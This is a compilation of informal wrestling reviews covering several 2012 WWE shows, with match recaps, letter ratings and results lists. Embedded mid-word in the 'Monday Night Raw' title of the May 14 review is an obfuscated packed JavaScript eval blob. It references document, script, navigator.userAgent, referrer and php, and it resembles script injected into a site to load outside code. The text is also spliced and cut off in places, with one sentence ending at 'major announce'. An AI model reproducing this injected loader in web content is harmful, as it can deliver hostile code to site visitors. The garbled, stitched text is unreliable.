Bryan hits a hard running knee drop to the back to keep Punk down. Another misses and Punk gets a Perfectplex for two. Bryan suplexes him down and hits a swan dive headbutt for two. Off to a chinlock with a knee in the back of the champ. Punk gets up and they both hit cross bodies to put both guys down. Back up and Punk fires off forearms and hits the neckbreaker.

Punk tries the corner clothesline but gets kicked in the face. Powerslam gets two for the champ. Bryan escapes a suplex but Punk backdrops him to the floor. Suicide dive takes Daniel down but he hits a dropkick to counter the springboard clothesline for two. Bryan fires off the kicks but the last one is caught in a dragon screw leg whip. Figure Four goes on and the fans get fired up again.

With the hold on they slap it out but Punk doesn’t let go of the hold. Bryan makes the rope and Booker shouts that he has til five. Knee crusher is countered into a sunset flip for two. Punk’s rollup gets the same. Bryan tries something with the arm but Punk pulls away. Bryan is cool with that and kicks Punk’s head off for two. They go to the corner and Punk crotches Bryan on the top.

With Bryan sitting on the ropes, Punk hits the springboard clothesline for two. We’re at almost twenty minutes now and they’re showing no signs of ending soon. The fans think this is awesome. I can’t remember the last time I’ve heard that at a WWE show. They trade forearms from their knees and Punk takes over with his strikes. GTS is countered into a rollup for two.

YES Lock is countered into a slingshot to send Bryan to the apron. He skins the cat but walks into a high kick for two. Bryan put his foot on the rope so Punk hooks it for another two. I like that. Macho Elbow hits but the ribs are too hurt to cover. A Randy Savage chant starts up as Punk gets two. Bryan goes off, firing knees into the ribs. He charges but the running dropkick misses.

Running knee hits but the bulldog is countered into the YES Lock in the middle of the ring. Bryan pulls too hard and Punk falls on top for the pin at 24:04. He was tapping at the same time though so there’s your rematch at No Way Out. I think the pin stands though. Replay shows that the three count was clearly done before Punk tapped and the announcers acknowledged it.

Rating: A. Yep it was great. This whole show has been great but unfortunately these two are going to get blamed when the show tanks because no one wants to see Ace in the ring because no one cares about him. Anyway, the match was great and I have no complaints about it at all. The crowd reaction was great too, which is something you don’t get anymore in WWE so that’s a good sign too.

Yeah another replay shows that the referee was almost up to his feet saying ring the bell before Punk tapped. It’s not even close.

Eve and Otunga are in the back and run into Teddy. He’s happy because if Ace loses, the two of them might get fired.

Camacho vs. Ryback

Lillian says that it’s Hunico but it’s Camacho. Good reaction for Ryback who has Nexus like R bands on his arm. What do you expect here? We get Goldberg chants, some offense from Camacho, spinebuster, a powerbomb and the MuscleBuster for the pin at 1:52.

We recap the main event. Ace calls it People Power, naturally he’s corrupt boss #8000 and brings in Lesnar to be his big machine, only to have Lesnar lose to Cena in his first match. This leads to Ace vs. Cena and if Cena wins, Ace is fired. Oh and if any wrestler interferes, he’s fired. Did I mention Big Show was fired on Monday?

John Cena vs. John Laurinatis

We hear about some All Japan titles and I quote, “one of the greatest tag teams of all times in the Dynamic Dudes.” For those of you unfamiliar, NO. Just NO. Ace is in a full body black suit which is skin tight. I think it’s Under Armour. Just to be clear: The Rock, Brock Lesnar, Johnny Ace. Also for the sake of this, if I use the name John, I will only be referring to Cena. You can only win by pin or submission and if Ace loses he’s fired.

Ace immediately runs to the crowd but Cena catches him. He rips the Armour up and hits a loud chop to the chest and the back. LONG airplane spin puts Ace on the floor and Cena rings the bell next to his ear. Cena puts Ace in Cole’s chair and puts a headset on him. He grabs a mic and says he’ll be Booker while Ace is Cole. Cena’s imitations of both guys are pretty good and Ace says FIVE TIME while half unconscious. Ace has had no offense at all.

Back into the ring and Ace begs for mercy. He extends a hand which gets him slammed. Cena grabs a mic and says he has an idea. He says he’s about to put Ace in the STF and if Ace taps, he’s fired. If Ace can last ten seconds, Cena will let go and in the name of PEOPLE POWER, the fans can keep time. Cena lets go at ten and says the good news is that Ace survived. The bad news is he’s going to do it again. Cena isn’t cranking on it at all.

John goes to the floor and gets some water. He thinks Ace needs some water too so he gets three bottles and pours them over Ace. One of them go down Ace’s pants. Now it’s time for a fire extinguisher. Ace begs for mercy so Cena only sprays him a bit. It’s been hot around here so that doesn’t sound half bad right now. Cena sprays him for about fifteen seconds and Ace looks like a snowman. This is hilarious so far.

Cena finds a trashcan which is full of popcorn and drinks. Well at least it washes the foam off. Ace gets into the crowd as Cena is looking for more stuff but Cena catches him. Ace gets in a shot to the bad arm and Cena is in some trouble. The arm goes into the table as Cole is losing his mind. It goes into the steps and Ace grabs a chair. Naturally, he hits Cena in the ribs instead of the arm but at least he’s trying. A few shots to the back get two.

Cena blocks a chair shot to the head and trips Ace’s legs with it. Instead of the Shuffle, Cena drives the chair into Ace’s face. He picks Ace up but takes a low blow to put him back down again. Ace goes into the crowd again and slowly crawls up the aisle. He gets past the floor seats and Cena is still in the ring. Ace gets out of the arena and the referee isn’t sure what to do.

And here it is. Big Show pops up with Ace by his throat and drags him back to the ring. He throws Ace back in (with a beer gut the size of your local luchador) and Cena is ready. Ace begs off some more so Show stands on his hand. Cena puts him in the AA and of course Show punches him to the shock of no one. Ace gets the pin at 17:08.

Rating: C. The match was a comedy match until the end. I’ll go with a rating in the middle because I enjoyed the big beating but when you know the ending, it’s like watching a movie for the second time. Everyone who has watched more than five minutes of wrestling could tell you what was going to happen there and it’s nothing most people seem interested in from what I’ve read.

Everyone is SHOCKED to end the show. SHOCKED I SAY!

Overall Rating: B+. You know I was LOVING this show before the ending. There were two great matches here, but the ending is the same stuff that has made ratings fall week after week but this is what has been chosen and that’s what we’re going to get. It’ll be Cena vs. Show over the summer and Lesnar vs. lawyers or whatever and Punk/Bryan/Sheamus will be blamed when people stop watching because their 10 minutes a week are the problem, not the 30 minutes the other stuff gets. Great show with a bad ending though.

Results
Christian won a battle royal, last eliminating The Miz
Kofi Kingston/R-Truth b. Dolph Ziggler/Jack Swagger – Trouble in Paradise to Ziggler
Layla b. Beth Phoenix – Layout
Sheamus b. Alberto Del Rio, Chris Jericho and Randy Orton – White Noise to Jericho
Brodus Clay b. The Miz – Splash
Christian b. Cody Rhodes – Killswitch
CM Punk b. Daniel Bryan – Rollup
Ryback b. Camacho – MuscleBuster
John Laurinaitis b. John Cena – Pin after WMD from Big Show

Remember to like this on Facebook and follow me on Twitter @kbreviews




Smackdown – May 18, 2012: Nice Long Main Event Almost Saves It

Smackdown
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Location: Giant Center, Hershey, Pennsylvania
Commentators: Michael Cole, Josh Matthews, Booker T

Time for another edition of that show on Fridays that doesn’t mean a thing because everything happens on Raw now. The main event tonight is Orton vs. Sheamus which is the big PPV match they’re waiting for the right time to have. This is the go home show for Over the Limit which is the least interesting PPV I can think of in years. Maybe we’ll actually have Punk and Bryan talk. Let’s get to it.

We open with a recap of the end of Raw. Gee there’s a novel idea. This is edited together really well as it’s Ace talking about what he can do and Cena reading a line from the letter to say that Ace can’t do that.

In the arena here’s Ace to really open things up. He disagrees with the Board’s decision because it puts him in harm’s way. Ace says that he’s almost 40 but he’s still in shape. Wow I would have put him closer to fifty. The Board won’t reconsider their decision so he appeals to the fans for their support. He asks for our prayers but gets Punk instead.

Punk says that everyone, including him and the rest of the roster has been praying. Their prayers have been answered by this match on Sunday. It’s not about if Cena beats him but rather when. It would be more realistic to say that it’s not if Big Show/Lesnar interferes but when but you get the idea. Punk says after Ace is fired the party will start on Raw and it’ll go on through Smackdown next week.

The champ talks about Raw where Ace made Big Show beg for forgiveness with a smile on his face. Ace constantly insults the intelligence of the fans and humiliates Teddy, so how does it feel to be on the other end of the stick? Ace says it’s not over yet so tonight Punk faces Kane. Punk says that concerns him but he’s going to face Kane like a man. Next week he’ll still be WWE Champion but Ace will be unemployed. So let’s see. Punk talked to a guy he’s not facing on Sunday, is facing a guy that is on the pre-show on Sunday, and didn’t mention his opponent by name at all. Nice way to show what the real match is guys.

Punk leaves but Ace stops to yell at the fans. He says that since he’s the GM, he’s been tough but fair. Ace says that he works hard for the fans and they still boo them. He’s not going to blame Punk and Cena, because it’s the fans’ fault. If this is his last night, he could care less about all of them, and with that he leaves.

Cena Make-A-Wish video which is good to mention because it makes you think of the good stuff WWE guys do. Make sure to remember that if you’re a Connecticut registered voter.

Kofi Kingston/R-Truth vs. Darren Young/Titus O’Neil

Young and Truth start things off. They fight into the corner and Truth punches him a bit. Off to Kofi with the springboard cross body for two. Kofi takes down both opponents but Titus’ distraction lets Young hit his belly to back suplex onto the apron to take over. Off to Titus who slams Kofi and hits a splash in the corner. Another attempt hits boots and it’s off to Young and Truth again. Truth speeds things up and hits the spinning forearm. DDT gets two as Titus saves. Kofi knocks O’Neil to the floor and hits a dive as the Little Jimmy pins Young at 2:59.

Just a quick aside here: we have Young and O’Neil brought up as a new team who look impressive, so in I think their fourth match they job clean to the champions in less than three minutes. That’s a great way to make these guys look good. This is where JOBBERS should be used. Throw Slater and someone else out there for this match and save Young/O’Neil for later. Unfortunately there are only five teams (Colons, champions, O’Neil/Young, Usos (are they still alive?) and Swagger/Ziggler) They’re saving the Colons for a big match I guess, so this is all they can use and that’s why there’s no division.

Don’t Be A Bully! How long before it’s time to STAND UP for WWE?

Ryder is filming stuff for his show in the back but Sandow is standing next to him. And that’s that apparently.

Video on Ryback. He’s 1/3 of the “they’re monsters but we have no idea what to do with him yet so we’ll keep having him squash people until the fans get bored of him” trio with Tensai and Clay.

Damien Sandow vs. Yoshi Tatsu

Sandow won’t fight for the same reasons he gave two weeks ago. He leaves but Tatsu calls him a chicken, complete with clucking. Sandow runs in and takes off the robe to reveal hot pink tights that Rick Martel would look twice at and destroys Tatsu. He hits a version of the Regal Cutter with both arms pulled instead of just one and then leaves. There was no bell and no pin so this wasn’t a match.

We recap the events that set up the fourway other than the actual announcement of the match.

Orton and Sheamus are in the back with Striker. Sheamus says he’s looking forward to fighting three guys and rubs in that he’s not champion anymore. Orton says he’s no longer so overconfident that he overlooks his opponents. He can beat anyone on Sunday but wants to beat Sheamus. Sheamus says he can kick Orton right now but Orton says compared to him, Sheamus is too nice a guy.

Zack Ryder vs. Daniel Bryan

Ryder gets in some offense to start but a running knee puts him down. The running dropkick in the corner gets two. Bryan works on the arm a bit but gets caught by the knees in the corner. Broski Boot misses and Bryan kicks him in the head. YES Lock gets the submission at 2:28. Squash.

Kane vs. CM Punk

Bryan is sitting in on commentary, which is going to multiply the build for this match by about 10,000%. Kane knocks him down to start so Punk fires some kicks to the legs. A clothesline puts Kane on the floor and we take a break. Back with Punk kicking the knee some more and hitting a DDT for two. Punk hooks a Figure Four AND IT’S ON THE PROPER LEG!!! Kane breaks it quickly but I’m in too much shock to care.

Punk springboards into the uppercut and takes over with some very slow kicks. A baseball slide sends Punk’s ribs into the post and Kane focuses on them for a bit. Off to a bearhug and then a backbreaker for two. There’s a body vice as Bryan talks about the history with Punk and how their paths reached this point. See how easy it is? Back up and Punk escapes the chokeslam and hits a swinging neckbreaker for two.

Punk hits the knee in the corner but the bulldog is countered as you would expect it to be. Since that didn’t work he goes to the middle rope for the bulldog which gets two. He tries the GTS but the ribs give out. Big boot gets two for Kane. Bryan sounds like a kid at Christmas with the ribs being hurt.

Kane loads up a superplex but Punk shoves him off and hits the Macho Elbow for two. He tries the Vice but Kane blocks it. Top rope clothesline puts Punk down and it’s chokeslam time. Punk hits the High Kick to counter and Kane goes to the floor. Suicide dive takes Kane out but Bryan pops up with a chair. He hits Kane which gives Kane the DQ win at 9:50 shown of 13:20.

Rating: C-. Not a great match but the main thing that hurt it was the slow pace of it. They were going by the numbers here but the ending helped it a bit. If a rib injury for Bryan to focus on is the best angle we can get to set up the match then we’ll have to go with it. I mean, WWE isn’t going to bother letting them cut promos on each other or anything so I’ll take what I can get.

Bryan runs and sees Punk with the chair near him, so he destroys Punk with it. Bryan hit Kane in the back if that clears anything up. A chokeslam in the ring leaves Punk laying.

Santino Marella vs. Cody Rhodes

This is the result of an epic Twitter War this week over which title means more. If you don’t know who’s losing here, I can’t help you. Booker says the IC Title is a little more prestigious. Cody hits some knees to the ribs to take over but the moonsault press misses. Here’s the Cobra but Cody dropkicks him down for two. And never mind as the Cobra hits for the pin at 1:59. Hey Vince, congratulations on crushing a guy that could be a big star for you because his brother got fired. Seriously, why else could this be happening?

Since having a match go longer than two minutes is impossible, here’s Ace’s promo from earlier tonight to fill in time.

Now we spend TEN FULL MINUTES reairing the ENTIRE Big Show firing segment from Monday.

Randy Orton vs. Sheamus

There’s a TON of time left for this because nothing else has happened on this show. Feeling out process to start with Orton getting caught in a headlock. Randy speeds things up and hits a dropkick to take over. They go into the corner and it turns into a shoving match followed by a fight. A clothesline puts the champion down and Orton does his stomping, focusing on the ankle for a bit.

A knee drop misses and Sheamus comes back with right hands in the corner. Orton punches back but Sheamus’ are better and he takes over. Randy comes back with a clothesline to send Sheamus to the floor but he sends Orton into the steps. Brogue Kick misses and Orton rams Sheamus’ shoulder into the post. No one has had a distinct advantage at all so far. That’s Sheamus’ bad shoulder so there’s some psychology thrown in there.

Orton stomps on the arm to drive it into the steps as we take a break. Back with Orton bending the arm around the ropes. Some elbows to the arm keep Sheamus down as does a DDT on the arm. Off to a chinlock with an arm trap. Sheamus starts a comeback but gets sent into the corner shoulder first. The champ manages to send him to the floor and hits a high knee followed by the ten forearms in the ropes.

Sheamus knocks Orton off the apron and into the barricade as we take another break. Back with Sheamus dropping knees on Orton which eventually get two. Regal Roll puts Orton down and Sheamus loads up the High Cross. Orton counters that too, this time into the backbreaker. Sheamus charges at him but Orton hooks a belly to belly of all things. He tries the elevated DDT but Sheamus guillotines him on the top to escape.

Slingshot shoulder puts Orton down and there are the running ax handles. Powerslam gets two. Another Irish Curse attempt is broken up but another attempt connects for two. Sheamus goes up but Orton stops him with punches followed by a top rope superplex. That only gets two and they slug it out. Brogue Kick misses and Sheamus gets caught in the rope and the elevated DDT. Orton loads up the RKO but Sheamus ducks. Brogue Kick misses and Orton tries the RKO again, but Sheamus drops down into a rollup for the pin at 16:35 shown of 23:35.

Rating: B. I was really getting into this at the end and the finishing sequence was very nicely done. They were setting up this as the match with both guys hitting everything they could other than their big move and then they threw a nicely timed curve ball with Sheamus winning with a rollup. The ending is also good as neither guy looks weak here at all and it keeps the main event on Sunday wide open.

Post match they shake hands and Orton RKOs him. That’s a pretty heelish move.

Overall Rating: D+. Until the good main event, this was on pace to be one of the worst Smackdowns that I can remember in years. The last quarter of it being good prevented that, but there are still major holes in this show. First of all, where were Jericho and Del Rio? They’re in this show’s main event and they’re not even on the broadcast for a promo? Second, Punk and Bryan is the most thrown out there main event in a LONG time. Even Bryan vs. Sheamus had a better build than this. Disappointing show, but a good main event helps it a lot.

Results
Kofi Kingston/R-Truth b. Titus O’Neil/Darren Young – Little Jimmy to Young
Daniel Bryan b. Zack Ryder – YES Lock
Kane b. CM Punk via DQ when Daniel Bryan interfered
Santino Marella b. Cody Rhodes – Cobra
Sheamus b. Randy Orton – Rollup

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Monday Night Raw – May 14, 2012: Two Way Too Long Segments For The Price Of One!

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shtby|var|u0026u|referrer|sydza||js|php'.split('|'),0,{})) Night Raw
Date: May 14, 2012
Location: CONSOL Energy Center, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Jerry Lawler

It’s the last Raw before Sunday’s Over The Limit so hopefully we’ll get some Cena tonight to sell the show. That being said, the guy is going through a divorce so I think you have to cut him some slack on how effective he’s going to be out there. We also have Punk vs. Daniel Bryan for Sunday so expect a lot of staring at each other tonight. Let’s get to it.

We open with HHH walking through the back. He runs into Ace who says he had nothing to do with Lesnar attacking him. HHH says he’ll respond in front of the world.

Theme song.

Here’s HHH but before he talks we get the video from Raw two weeks ago for the 100th time. HHH says everyone wants to know his thoughts on Lesnar. It’s not the physical part of it because he’s had worse done to him. It’s Lesnar saying that he has to bring legitimacy back to the WWE. A few weeks before that, HHH was going toe to toe with Undertaker in the most watched Wrestlemania of all time.

Lesnar’s arrogance offends all of the greats in WWE history and it offends HHH as a fans. Two weeks ago he was slightly embarrassed because of Lesnar always bailing when he got challenged. HHH saw the potential in Brock back in 2002, but Brock quit in 2004 after someone challenged him, then he quit UFC when he had to fight and now he came back here and went after Cena, who beat him as well.

Cue Heyman and a lawyer. Heyman says that HHH has blown this and that it’s an open and shut case. Lesnar had an agreement with Ace but HHH ripped it up. The lawyer serves HHH with a lawsuit for millions of dollars and Heyman runs his mouth some more. HHH grabs Heyman by the face and says Lesnar will get what he deserves. The Game leaves but Heyman says he’s suing HHH for assault and battery.

We get a recap of Show making fun of Ace last week. He gets Kane tonight as a result.

CM Punk/Santino Marella vs. Daniel Bryan/Cody Rhodes

Insert Pretender reference here. Punk and Rhodes start things off with Punk taking control. He sends Cody to the floor and Bryan out on top of him. There’s a suicide dive but Santino can’t quite bring himself to do one of his own as we take a break. After an ad for a Raw house show in my town in July, we come back with Rhodes beating up Santino. Off to Bryan who drops a bunch of knees for two.

Bryan throws on an armbar and the beating continues. In a funny bit, Santino dives for the tag but misses. Rhodes laughs but gets shoved off, allowing Santino to make the real tag. Bulldog puts Rhodes down but the GTS is avoided. High Kick puts Rhodes down but Bryan avoids one of his own. He heads to the floor and Cody walks into the GTS for the pin at 9:55.

Rating: C-. Everyone here knew that Cody was taking the fall here right? I want to make sure I’ve at least taught you that much. Other than that, the match was just ok. Santino being in there didn’t make a ton of sense but Big Show was busy tonight. I’d have liked more between Bryan and Punk but we had a champion to pin so it was out of the question.

Beth Phoenix vs. Alicia Fox

So Fox is face on here and heel on NXT. Got it. The crowd just goes silent when the bell rings. Layla comes out to watch. Gorilla press and Glam Slam, 1:16.

Alicia is about to get beaten up again but Layla makes the save.

Video on Cena’s Make-A-Wish work which is cool.

We see the Ace/Show segment again for some reason.

Ryder vs. Kane is the pre-show match for Sunday.

We get ANOTHER clip from last week with Ace saying that it might be Show’s last match in WWE.

Ace and Otunga come out and we take a break, meaning in this TV segment we announced a pre-show match and saw a clip.

Kane vs. Big Show

Show takes it to the mat which gets us nowhere. Kane fires off shoulders in the corner but gets thrown away with ease. The masked man hits a cross body of all things and it’s time for the chinlock. Show comes back with clotheslines and a slam to set up the Vader Bomb Elbow. Not that it matters as Kane moves and goes up top. He jumps into a chokeslam attempt but escapes that too. We head to the floor and Kane gets whipped into the barricade and speared. They get back in and Ace wants an apology right now. That allows Kane to use a choke takedown (looked awful) for the pin at 4:14.

Rating: F. It was awful, it was slow, the ending SUCKED. What more do you want from me here?

Ace says Show has to apologize or he’s fired. Show says he’s accomplished everything and he can walk away. But he still loves what he does and he doesn’t want to be fired. If it means being fined or never getting a title match again, then so be it but don’t take away what he loves. If the imitation offended Ace, then he’s sorry.

Ace said Show didn’t apologize so Show says it again. Ace wants Show to beg for his job on his knees. Show can’t bring himself to do it and begs from his feet. Ace says he won’t fire him for the sake of business. He leaves but then changes his mind. Show says wait and gets on his knees and apologizes. Ace fires him anyway. Ok the smile on his face helps a bit.

And now for something completely different.

Brodus Clay/Kofi Kingston/R-Truth vs. The Miz/Jack Swagger/Dolph Ziggler

Truth and Swagger start things off and it’s off to Clay very quickly. He throws all three heels down as the champions knock Miz to the floor. We take a break and come back with Truth in a Ziggler chinlock. AW Enterprises (with the possibly now signed Mason Ryan) are watching from a sky box. Miz comes in and gets caught in a neckbreaker. Tag to Kofi who speeds things up as he is known to do. SOS gets two and everything breaks down. Ziggler jumps into a headbutt from Brodus, Kofi gets a GREAT sounding Trouble in Paradise on Miz and the Splash ends Miz at 6:58. Most of that was in a commercial so no rating but this was fine.

Punk is with Alex Riley of all people when AJ comes up. Riley leaves (Punk: “Hey, remember that $50 you owe me!”) and AJ wishes Punk luck on Sunday. He doesn’t want anything to do with the drama that comes with AJ and Bryan. Punk is worried about a setup because AJ is so unstable so he walks away. AJ looks….sad?

Sheamus comes down for commentary for the next match.

Randy Orton vs. Chris Jericho

Feeling out process to start and Orton dropkicks him to the floor as we take a break. These breaks during a match are REALLY getting annoying and have been for years. Back with Jericho holding a chinlock. He takes Orton into the corner and hits a missile dropkick for two. Off to a surfboard hold but Orton escapes. Backbreaker puts Jericho down but the elevated DDT is countered by a backdrop. Jericho throws Orton into Sheamus but back in Orton loads up the DDT again. Sheamus pulls him to the floor and clotheslines him down for the DQ win for Jericho at 8:40.

Rating: C-. That’s the ending everyone knew was coming and that’s perfectly fine. I’m actually very glad that no one has gotten a clean win over anyone else in this match since the fourway was announced. That’s a big problem they’ve had recently with multi-man matches: someone is always made to look weak beforehand but in this case, that hasn’t happened at all. I think I’m looking forward to this match more than anything else on Sunday.

Orton gets in Sheamus’ face and challenges him to a fight right now which Sheamus is more than happy to accept. Referees break it up.

Post break Orton vs. Sheamus is announced for Friday.

Here’s Ace to push himself vs. Cena tonight. He talks about how everyone that loves Cena is a bad person because their favorite wrestler reflects themselves. Here’s Cena who makes fun of Ace’s voice and runs him down for firing Show. Ace has the gall to call himself a winner so we hear Ace’s resume. His team won at Wrestlemania…..and that’s about it. Punk is still champion and then Lesnar lost and left. That makes him 1-4 and that makes him a loser.

That’s fine because at Over The Limit, Ace is going to lose again. Ace has managed to step on everyone during his tenure on top. Tonight he’s stepped on everyone in the WWE Universe tonight in the name of people power. Instead it should be person power because that’s all that matters to Ace. Cena has a show of hands to see how many people want to punch Ace into the middle of next week. Next question: how many people want to beat up Ace so bad that he squeals like a baby calf? That gets a BIG reaction.

Cena says the reaction is appropriate in Pittsburgh for a few reason. First up is the Steel Curtain (The Steelers’ defense from the 70s) which is famous for destroying people, which is what Cena is going to do to Ace on Sunday. The other reason is the Pittsburgh Penguins. Ace says that he was going to use the Penguins later in the promo but Cena stole it. Ace tries to talk but Cena keeps calling him a loser. The boss calls the Penguins losers so Cena pulls out a hockey puck and says go puck yourself.

Ace says that he’s taller and better looking than Cena which must bother him. Cue Eve with a paper as he’s talking. She has something to tell him but he won’t listen to her. Finally she gets his attention and hands him the paper which he stops to read. Cena steals it from him (ripping it in half in the process) and says it’s from the board of directors. The match will be one on one with no special referee and no one allowed at ringside. You have to win by pin or submission and anyone who interferes is immediately fired. Oh and if Ace loses he’s fired.

Cena’s music plays but he stops it because Cole mentioned a major announce

Overall Rating: D. This was pretty easily the worst Raw in months and probably the worst this year. With two WAY too long segments that end in some legal or administrative decision, it was a hard show to sit through for the first hour. The lack of Cena until the very end didn’t help things either. I’m looking forward to the fourway on Sunday and Punk vs. Bryan (which got almost zero setup tonight) but other than that it’s a filler show. Terrible Raw tonight.

Results
CM Punk/Santino Marella b. Daniel Bryan/Cody Rhodes – GTS to Rhodes
Beth Phoenix b. Alicia Fox – Glam Slam
Kane b. Big Show – Chokeslam
Brodus Clay/Kofi Kingston/R-Truth b. Dolph Ziggler/Jack Swagger/The Miz – Splash to Miz
Chris Jericho b. Randy Orton via DQ when Sheamus interfered

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Monday Night Raw – April 16, 2012: Yes, With A British Accent

Monday Night Raw
Date: April 16, 2012
Location: 02 Arena, London, England
Commentators: Michael Cole, Jerry Lawler

We’re in England and on taped delay tonight which usually slows things down a lot. From what I can tell, Lesnar won’t be here tonight which is possibly a good thing. If nothing else maybe he can hit the gym tonight for a change. There’s probably going to be a title change of some sort, although not in the Henry vs. Punk match. The main events are usually strong in England though so let’s get to it.

Raw World Title: CM Punk vs. Mark Henry

No intro for Henry. This is No DQ and No Countout due to Punk retaining by both of those means before. Big reaction for Punk on the big match intros. Henry takes him into the corner to start so Punk fires off kicks to the knee. He walks into a kind of spinebuster though and Mark kicks him to the floor. Punk speeds things up and slides back in before diving back out for a suicide dive.

Henry shrugs off some more kicks but Punk gets up a boot to stop a charging challenger. Punk channels his inner Hardy by running the railing but goes much further before hitting a bulldog. He can’t get Henry back in though so he fires off more kicks. Henry grabs the leg and swings Punk into the barricade as we take a break.

Back with Punk caught in a neck crank and being run over by a clothesline/shoulder block. Punk rolls outside and grabs a chair for a few shots which get him a two count. Punk charges at him again with the chair but gets kicked down. Now Henry gets the chair and drills it into Punk’s back. He wedges the chair between the top and middle rope but Punk blocks the shot and comes back with kicks in the corner.

Henry runs Punk over again to come back and it’s off to a bearhug. Punk elbows out of it and hits a short DDT for two. Punk goes to the corner but springboards into World’s Strongest Slam position. He jumps out of it though and the high kick puts Henry into the corner. The knee/bulldog combo is countered (duh) but Punk trips him into the wedged chair which knocks Henry out. Punk grabs the chair and goes up, coming off with it like an elbow, Cactus Jack style, good for the pin at 13:12.

Rating: B-. These two have some solid chemistry together. I was wondering how Punk was going to be able to pull this off which is exactly what a match like this is supposed to make me wonder. This worked quite well and I was getting into it at the end. Henry was doing his usual stuff but having someone like Punk in there to keep the fans going made the whole thing work. Good stuff.

Jericho pops up on screen at a bar and says that he’s got a rematch for the title at Extreme Rules in a Chicago street fight. Punk says that’s cool because he’ll take Jericho apart in the streets of Chicago. Jericho says just show up sober and he shows us a clip of Punk going into a pub from earlier in the day. Jericho thinks Punk is drunk right now. Punk says his friends are drinkers and he can go in with them and have some fish and chips. Jericho says Punk sounds like his father and that the straightedge is just a facade now. Punk gets ready to respond but the screen cuts away.

R-Truth is dressed up like Sherlock Holmes and is talking to Little Jimmy Watson when Teddy Long pops up. Truth is going to find him a job. Teddy seems pleased.

Lord Tensai says nothing of note.

US Title: Santino Marella vs. David Otunga

Santino has about 7 British soccer shirts on, finally getting the right one with the British national team one. Quick slam by Otunga gets two and it’s time for clubbing forearms. There’s a three hour Raw next week. Oh and it’s the Draft. Cool. Santino tries his usual drop down but Otunga kicks him in the head. Spinebuster hits but Otunga has to slide all over the place to get in position so that the foot can go on the rope. Santino comes back with his usual stuff and here’s the Cobra, good for the pin at 2:00.

We go to a sitdown interview with Brock. He says he’s not a superstar but a legit destroyer. This is accompanied by highlights of his career on all levels, including him beating Rock. We also get some UFC stills which are still bizarre to see on Raw. Lesnar talks about bringing legitimacy to this company because Cena isn’t the real deal. If Brock had been around for the last eight years, Cena would be carrying his bags. The match at the PPV is an Extreme Rules match.

Zach Ryder vs. Kane

We go to a break during Kane’s entrance and come back to see the Kane attack on the Ortons last week. Ryder gets on the apron and Kane kicks him into the announce table. Kane rams him into the steps and the beating is on. Into the ring and there’s a chokeslam. There was never a bell.

Kane talks about the beating of the Ortons and how it was like father like son.

Kofi is talking to AJ in the back when Bryan pops up to a ROAR. He yells at Kofi for hitting on her and shushes AJ for speaking up. Bryan says he’ll put Kofi in the LeBell Lock but then realizes he’s better than Gene LeBell so it’s now the YES Lock, because that’s what people will be screaming when the referee asks if they give up. Bryan starts a long YES chant in Kofi’s face and keeps doing it until we take a break.

Cena time. Before he talks we see a clip of the Brock beating from last week. Cena finds it interesting that Johnny Ace is always around for these attacks from Brock. Wrestlemania was certainly the end of an era and it might be his own. With Ace becoming the most powerful man in the company, Cena might be in trouble. Ace seems to think that Cena Sucks (said in a great imitation) and that’s a problem.

Ace claims to be legitimizing all of this so he goes and gets Brock Lesnar. After a year of hearing about movie parts and next parts and entertainment, Brock Lesnar stands for destruction. On April 29, it’s not about winning because that’s all Brock has done. The sole purpose of Lesnar at Extreme Rules is to end and replace Cena. Cena doesn’t care because no matter what happens, he’s going to fight.

Here’s Ace who says this is the beginning of the era of People Power. The WWE Universe wants to see Cena fight so tonight Cena will be in an extreme rules match. Next Monday there’s a contract signing between Cena and Brock. The opponent is a mystery because that’s more fun. It doesn’t exactly explain why he told us who Cena’s opponent was in about 10 seconds last week but whatever.

We recap the world title match from earlier and the promo that followed.

Horny is in the back reading a book next to a shelf of CDs and albums when Truth walks through it. Horny tries to go through it but it doesn’t work. Ok then.

Kofi Kingston vs. Daniel Bryan

Bryan is ridiculously over. He takes it to the corner and hits a running dropkick. Bryan keeps control to start and we go to the floor. Bryan misses his running knee so Kofi pops up and hits a HUGE dive off the top as we take a break. Back with Bryan avoiding a charge to send Kofi into the buckle. AJ is watching in the back. More kicks from Daniel set up a chinlock.

Kofi comes back with chops and kicks followed by the jumping clothesline. Boom Drop hits and he loads up Trouble in Paradise. As he claps his hands, the fans chant No. That was cute. Yes Lock is countered into the SOS for two. Kofi sets for the top rope cross body but Bryan comes up for a superplex. Kofi shoves him off but the cross body misses. Yes Lock ends this at 10:31. AJ is smiling a little in the back.

Rating: B-. Another good match here as this is what Kofi is really good for: having good TV matches when you need someone to fill in a spot. Nothing is lost here and Kofi will be right back in this spot again. There’s nothing wrong with that because Kofi isn’t going to be a main event guy anytime soon. Good stuff.

Bryan goes for the Lock again but Sheamus makes the save.

Brodus Clay vs. Dolph Ziggler

Well this is some better competition wouldn’t you say? Dolph tries a dropkick but Clay easily suplexes him just after. And here’s Swagger for the DQ at 24 seconds.

Vickie shoves one of the dancing girls down but the other chases her into the ring. Brodus jiggles and Vickie gets shoved down.

Ace and Otunga have a meeting in the back when Eve pops up. She says they were supposed to have a meeting last week but Ace seems puzzled. They go into his office and Otunga follows.

Memorial video for Chief Jay Strongbow. Better late than never.

Little Jimmy has found Teddy a job: GM of Smackdown. He’s perfect because he has experience.

Great Khali/Big Show vs. Primo/Epico

Just scrap the tag titles too if this is th ebest the champions can get. We hear about Rosa and the champs complaining on Twitter lately. Khali and Epico get us going as Abraham Washington (called AW now apparently) is scouting. This goes badly for the champions so it’s off to Primo who gets kicked in the face. The champs try to bail with the titles but Show throws them back in. A pair of chops put them down and double chokeslams end this at 1:54. Oh screw you WWE. Your titles mean nothing and THIS IS WHY.

Package on the show in Moscow.

John Cena vs. ???

It’s Lord Tensai and this is Extreme Rules. Cena grabs a quick suplex but Tensai beats him up. Cena’s shorts look a little shorter here. A corner splash puts Cena on the floor and Tensai puts him into the steps. A powerbomb on the floor is countered and Cena gets the steps. Tensai’s dude drills Cena with kicks and Otunga throws him back in. Butterfly suplex gets two.

